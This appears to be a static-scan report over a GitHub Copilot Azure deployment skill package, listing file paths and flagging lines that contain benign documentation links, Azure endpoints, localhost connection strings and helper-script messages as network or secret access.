CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1 - Network accessline 209
if (req.get('x-forwarded-proto') !== 'https' && process.env.NODE_ENV === 'production') { if (!TRUSTED_HOST) return next(); return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`); - Network accessline 210
if (!TRUSTED_HOST) return next(); return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`); } - Network accessline 211
return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`); - Access to secretsline 241
[Credential-related source omitted]
harness/github-copilot/skills/azure-prepare/references/sdk/azd-deployment.md
- Access to secretsline 25
[Credential-related source omitted]
harness/github-copilot/skills/azure-prepare/references/security.md
- Network accessline 268
- [Key Vault documentation](https://learn.microsoft.com/azure/key-vault/general/overview) - Network accessline 269
- [Managed identities documentation](https://learn.microsoft.com/azure/active-directory/managed-identities-azure-resources/overview) - Network accessline 270
- [Azure RBAC documentation](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 271
- [Microsoft Defender for Cloud](https://learn.microsoft.com/azure/defender-for-cloud/defender-for-cloud-introduction)
harness/github-copilot/skills/azure-prepare/references/services/app-service/sku-selection.md
- Network accessline 33
> 💡 **Tip:** Figures are representative for **Windows OS** in **Central US**, **as of 2026-04**. Prices vary by region, OS, and offer. Use the [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for exact figures. - Network accessline 37
Cost savings can be made on Premium V3, Premium V4 and Isolated V2 plans by committing to reserved instances for 1 or 3 year terms, details can found at [https://learn.microsoft.com/azure/cost-management-billing/reservations/prepay-app-serv - Network accessline 39
Alternatively cost savings can be made using [Azure Savings plans](https://learn.microsoft.com/en-us/azure/cost-management-billing/savings-plan/).
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/auth/README.md
- Network accessline 37
enabled: true registration: { openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0' - Network accessline 38
registration: { openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0' clientId: appRegistration.properties.appId - Network accessline 39
openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0' - Network accessline 67
web: { redirectUris: [ 'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback' - Network accessline 68
redirectUris: [ 'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback' ] - Network accessline 69
'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback' - Network accessline 94
- [Easy Auth overview](https://learn.microsoft.com/en-us/azure/app-service/overview-authentication-authorization) - Network accessline 95
- [Microsoft Identity Web](https://learn.microsoft.com/en-us/entra/msal/dotnet/microsoft-identity-web/) - Network accessline 96
- [Configure Entra ID auth](https://learn.microsoft.com/en-us/azure/app-service/configure-authentication-provider-aad)
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/dotnet.md
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/nodejs.md
- Network accessline 19
const client = jwksClient({ jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`, - Network accessline 20
jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`, - Network accessline 46
algorithms: ["RS256"], audience: AUDIENCE, issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`, - Network accessline 47
audience: AUDIENCE, issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`, }, - Network accessline 48
issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/python.md
- Access to secretsline 28
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted] - Network accessline 30
# Use APP_ID_URI if set (e.g., "api://<client-id>"); fall back to CLIENT_ID AUDIENCE = os.environ.get("AZURE_APP_ID_URI", CLIENT_ID) JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys" - Access to secretsline 31
[Credential-related source omitted] - Network accessline 32
JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys" - Network accessline 42
algorithms=["RS256"], audience=AUDIENCE, issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0", - Network accessline 43
audience=AUDIENCE, issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0", ) - Network accessline 44
issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/README.md
- Network accessline 33
| Setting | Value | Purpose | |---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | - Network accessline 34
|---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | | `COSMOS_DATABASE_NAME` | `app-db` | Target database | - Network accessline 35
| `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | - Network accessline 87
- [Cosmos DB + App Service tutorial](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/tutorial-dotnet-web-app) - Network accessline 88
- [Passwordless Cosmos DB connections](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/how-to-dotnet-get-started) - Network accessline 89
- [Cosmos DB RBAC](https://learn.microsoft.com/en-us/azure/cosmos-db/how-to-setup-rbac)
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/source/python.md
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/redis/README.md
- Network accessline 84
- [Azure Cache for Redis overview](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-overview) - Network accessline 85
- [Use Entra ID with Redis](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-azure-active-directory-for-authentication) - Network accessline 86
- [Redis + App Service tutorial](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-web-app-howto)
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/nodejs.md
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/python.md
- Network accessline 25
# Redis ACL auth requires both username and token as password _REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default" - Network accessline 26
_REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default" _TOKEN_REFRESH_MARGIN = 300 # Refresh 5 minutes before expiry - Network accessline 27
_TOKEN_SCOPE = "https://redis.azure.com/.default" - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted]
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/sql/README.md
- Network accessline 79
- [Azure SQL passwordless connections](https://learn.microsoft.com/en-us/azure/azure-sql/database/azure-sql-passwordless-migration) - Network accessline 80
- [EF Core with Azure SQL](https://learn.microsoft.com/en-us/ef/core/providers/sql-server/) - Network accessline 81
- [Tutorial: App Service with SQL](https://learn.microsoft.com/en-us/azure/app-service/tutorial-dotnetcore-sqldb-app)
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/nodejs.md
- Access to secretsline 96
[Credential-related source omitted]
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/python.md
- Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Network accessline 61
[Credential-related source omitted] - Network accessline 62
[Credential-related source omitted] - Network accessline 63
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted]
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/selection.md
- Network accessline 7
Cross-reference with [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) and [official AZD gallery templates](https://azure.github.io/awesome-azd/?tags=appservice).
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/web-api.md
- Network accessline 15
**Browse all:** [Awesome AZD App Service](https://azure.github.io/awesome-azd/?tags=appservice) - Network accessline 179
- [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 180
- [App Service best practices](https://learn.microsoft.com/en-us/azure/app-service/app-service-best-practices) - Network accessline 181
- [Health check](https://learn.microsoft.com/en-us/azure/app-service/monitor-instances-health-check)
harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/web-app.md
- Network accessline 14
**Browse all:** [Awesome AZD](https://azure.github.io/awesome-azd/?tags=appservice) - Network accessline 106
ALLOWED_HOSTS = ['.azurewebsites.net', 'localhost'] STATIC_ROOT = BASE_DIR / 'staticfiles' CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net'] - Network accessline 108
CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net'] - Network accessline 179
- [Deploy to App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-dotnetcore) - Network accessline 180
- [Node.js on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-nodejs) - Network accessline 181
- [Python on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python)
harness/github-copilot/skills/azure-prepare/references/services/container-apps/day2-operations.md
harness/github-copilot/skills/azure-prepare/references/services/container-apps/environment.md
- Network accessline 25
{ name: 'database-url' keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url' - Network accessline 26
name: 'database-url' keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url' identity: managedIdentity.id - Network accessline 27
keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'
harness/github-copilot/skills/azure-prepare/references/services/container-apps/terraform.md
harness/github-copilot/skills/azure-prepare/references/services/cosmos-db/sdk.md
- Access to secretsline 26
[Credential-related source omitted]
harness/github-copilot/skills/azure-prepare/references/services/durable-task-scheduler/README.md
- Network accessline 28
# Start the emulator (see https://mcr.microsoft.com/v2/dts/dts-emulator/tags/list for available versions) - Network accessline 32
# Dashboard available at http://localhost:8082 - Network accessline 49
| Environment | Connection String | |-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | - Network accessline 50
|-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | | Azure (System-Assigned MI) | `Endpoint=https://<scheduler>.durabletask.io;Authentication=ManagedId - Network accessline 51
| Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | - Network accessline 72
- [JavaScript](javascript.md) — packages, setup, examples, determinism, retry, SDK - [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durab - Network accessline 73
- [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler) - [Durable Functions Overview](ht - Network accessline 74
- [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler) - Network accessline 75
- [Durable Functions Overview](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview) - Network accessline 76
- [Sample Repository](https://github.com/Azure-Samples/Durable-Task-Scheduler) - Network accessline 77
- [Choosing an Orchestration Framework](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/choose-orchestration-framework)
harness/github-copilot/skills/azure-prepare/references/services/durable-task-scheduler/bicep.md
- Network accessline 65
To allow developers to view orchestration status and history in the [DTS dashboard](https://portal.azure.com), assign the same `Durable Task Data Contributor` role to the deploying user's identity. Without this, the dashboard returns **403 - Network accessline 82
> **💡 TIP**: This is the same role used for the Function App's managed identity, but assigned with `principalType: 'User'` to the developer. See the [sample repo](https://github.com/Azure-Samples/Durable-Task-Scheduler/blob/main/samples/inf - Network accessline 100
> **⚠<U+FE0F> WARNING**: Always use `scheduler.properties.endpoint` to get the scheduler URL. Do **not** construct it manually — the endpoint includes a hash suffix and region (e.g., `https://myscheduler-abc123.westus2.durabletask.io`).
harness/github-copilot/skills/azure-prepare/references/services/durable-task-scheduler/dotnet.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions .NET isolated worker guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-dotnet-isolated-overview) - Network accessline 20
> **💡 Finding latest versions**: Search [nuget.org](https://www.nuget.org/) for each package name to find the current stable version. Look for the `Microsoft.Azure.Functions.Worker.Extensions.DurableTask` and `Microsoft.Azure.Functions.Work - Network accessline 47
"FUNCTIONS_WORKER_RUNTIME": "dotnet-isolated", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 48
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 49
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 179
var connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";
harness/github-copilot/skills/azure-prepare/references/services/durable-task-scheduler/java.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions Java guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=java) - Network accessline 27
> **💡 Finding latest versions**: Search [Maven Central](https://central.sonatype.com/) for `durabletask-azure-functions` (group: `com.microsoft`) to find the current stable version. - Network accessline 56
"FUNCTIONS_WORKER_RUNTIME": "java", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 57
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 58
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 204
public class App { public static void main(String[] args) throws Exception { String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"; - Network accessline 206
String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";
harness/github-copilot/skills/azure-prepare/references/services/durable-task-scheduler/javascript.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions JavaScript guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=javascript) - Network accessline 21
> **💡 Finding latest versions**: Run `npm view durable-functions version` or check [npmjs.com/package/durable-functions](https://www.npmjs.com/package/durable-functions) for the latest stable release. - Network accessline 50
"FUNCTIONS_WORKER_RUNTIME": "node", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 51
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 52
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 179
const connectionString = "Endpoint=http://localhost:8080;Authentication=None;TaskHub=default";
harness/github-copilot/skills/azure-prepare/references/services/durable-task-scheduler/python.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions Python guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=python) - Network accessline 19
> **💡 Finding latest versions**: Run `pip index versions azure-functions-durable` or check [pypi.org/project/azure-functions-durable](https://pypi.org/project/azure-functions-durable/) for the latest stable release. - Network accessline 50
"FUNCTIONS_WORKER_RUNTIME": "python", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 51
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 52
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 194
async def main(): with DurableTaskSchedulerWorker( host_address="http://localhost:8080", - Network accessline 195
with DurableTaskSchedulerWorker( host_address="http://localhost:8080", secure_channel=False, - Network accessline 196
host_address="http://localhost:8080", - Network accessline 205
from durabletask.azuremanaged.client import DurableTaskSchedulerClient client = DurableTaskSchedulerClient( host_address="http://localhost:8080", - Network accessline 206
client = DurableTaskSchedulerClient( host_address="http://localhost:8080", taskhub="default", - Network accessline 207
host_address="http://localhost:8080",
harness/github-copilot/skills/azure-prepare/references/services/event-grid/bicep.md
harness/github-copilot/skills/azure-prepare/references/services/event-grid/subscriptions.md
- Network accessline 11
endpointType: 'WebHook' properties: { endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders' - Network accessline 12
properties: { endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders' } - Network accessline 13
endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders' - Network accessline 36
endpointType: 'WebHook' properties: { endpointUrl: 'https://my-api.example.com/events' - Network accessline 37
properties: { endpointUrl: 'https://my-api.example.com/events' } - Network accessline 38
endpointUrl: 'https://my-api.example.com/events'
harness/github-copilot/skills/azure-prepare/references/services/foundry/region-availability.md
- Network accessline 15
> Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.
harness/github-copilot/skills/azure-prepare/references/services/functions/README.md
- Network accessline 65
> Do NOT use hardcoded versions. Query for latest GA versions before generating code: > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) - Network accessline 66
> > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > - Network accessline 67
> **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > > Use the azure-documentation MCP tool to fetch current supported versions:
harness/github-copilot/skills/azure-prepare/references/services/functions/bicep.md
- Network accessline 86
runtime: { name: 'python' // or 'node', 'dotnet-isolated' version: '<version>' // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages - Network accessline 87
name: 'python' // or 'node', 'dotnet-isolated' version: '<version>' // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages } - Network accessline 88
version: '<version>' // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/README.md
- Network accessline 112
GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json - Network accessline 115
> ⚠<U+FE0F> **If manifest fetch fails** (any error): > 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json` - Network accessline 116
> 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json` - Network accessline 127
| `resource` | Trigger type (see [selection.md](selection.md)) | `http`, `cosmos`, `timer`, `eventhub`, `servicebus`, `blob`, `sql`, `mcp`, `durable` | | `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo w - Network accessline 128
| `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` | | `folderPath` | Path within repo | `.` or `src/api` | - Network accessline 129
| `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` | - Network accessline 139
GET https://github.com/{owner}/{repo}/archive/refs/heads/main.zip - Network accessline 146
1. GET https://api.github.com/repos/{owner}/{repo}/git/trees/main?recursive=1 - Network accessline 147
2. Filter tree entries where path starts with {folderPath}/ 3. For each file: GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path} - Network accessline 149
GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path} - Network accessline 181
**Browse all:** [Awesome AZD Functions](https://azure.github.io/awesome-azd/?tags=functions)
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/base/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language × trigger eval requires ~5 min of agent runtime. Full matrix (6 languages × 9 triggers) = ~4.5 hours of CI. Python is verified end-to-end; other languages are confirmed available in the [functions temp
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/README.md
- Network accessline 28
See [Blob Storage trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-storage-blob-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/composition.md
- Network accessline 47
1. FETCH MANIFEST GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json - Network accessline 48
GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json If both fail → - Network accessline 49
If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json - Network accessline 224
> ⚠<U+FE0F> **ALWAYS QUERY OFFICIAL DOCUMENTATION** — Do NOT use hardcoded versions. > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) - Network accessline 225
> > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > - Network accessline 226
> **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/README.md
- Network accessline 27
See [Cosmos DB trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-cosmosdb-v2-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/durable/README.md
- Network accessline 34
The identity must have the **Durable Task Data Contributor** role on the scheduler or task hub resource. See [DTS identity auth](https://learn.microsoft.com/en-us/azure/durable-task/scheduler/durable-task-scheduler-identity) for identity-ba
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/durable/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). PowerShell has no
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/README.md
- Network accessline 21
See [Event Hubs trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-event-hubs-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/mcp/README.md
- Network accessline 17
See [MCP Specification](https://modelcontextprotocol.io/) for protocol details. - Network accessline 31
See [MCP extension trigger and bindings](https://learn.microsoft.com/azure/azure-functions/functions-bindings-mcp) for extension-based servers, [Self-hosted MCP servers](https://learn.microsoft.com/en-us/azure/azure-functions/self-hosted-mc
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/mcp/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/README.md
- Network accessline 26
See [Service Bus trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-service-bus-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed id
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/sql/README.md
- Network accessline 45
See [SQL managed identity](https://learn.microsoft.com/en-us/azure/azure-functions/functions-identity-access-azure-sql-with-managed-identity) for identity-based config — refer to the **"Configure the function app"** section for connection s
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/sql/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Java, JavaScript,
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/timer/README.md
- Network accessline 22
> Azure uses 6-part cron expressions (with seconds). See [Azure Functions timer trigger](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-timer#ncrontab-expressions) for full syntax reference.
harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/timer/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev
harness/github-copilot/skills/azure-prepare/references/services/functions/terraform.md
- Network accessline 173
> 💡 **Example Reference:** [HashiCorp Flex Consumption Example](https://registry.terraform.io/modules/Azure/avm-res-web-site/azurerm/latest/examples/flex_consumption)
harness/github-copilot/skills/azure-prepare/references/services/key-vault/README.md
- Network accessline 39
| Variable | Value | |----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` | - Network accessline 40
|----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` | | `KEY_VAULT_NAME` | Vault name | - Network accessline 41
| `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` |
harness/github-copilot/skills/azure-prepare/references/services/key-vault/sdk.md
- Access to secretsline 29
[Credential-related source omitted] - Network accessline 59
endpointType: 'WebHook' properties: { endpointUrl: 'https://my-api.example.com/secret-rotation' - Network accessline 60
properties: { endpointUrl: 'https://my-api.example.com/secret-rotation' } - Network accessline 61
endpointUrl: 'https://my-api.example.com/secret-rotation'
harness/github-copilot/skills/azure-prepare/references/services/logic-apps/bicep.md
- Network accessline 10
state: 'Enabled' definition: { '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#' - Network accessline 11
definition: { '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#' contentVersion: '1.0.0.0' - Network accessline 12
'$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'
harness/github-copilot/skills/azure-prepare/references/services/logic-apps/triggers.md
harness/github-copilot/skills/azure-prepare/references/services/service-bus/patterns.md
harness/github-copilot/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.ps1
- Executable scriptline 1
Executable file - Network accessline 78
if (-not (Get-Command sqlcmd -ErrorAction SilentlyContinue)) { Write-Error "'sqlcmd' is not installed or not on PATH." Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." - Network accessline 79
Write-Error "'sqlcmd' is not installed or not on PATH." Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." exit 1 - Network accessline 80
Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."
harness/github-copilot/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 85
if ! command -v sqlcmd >/dev/null 2>&1; then echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2 echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2 - Network accessline 86
echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2 echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2 exit 1 - Network accessline 87
echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2
harness/github-copilot/skills/azure-prepare/references/services/sql-database/sdk.md
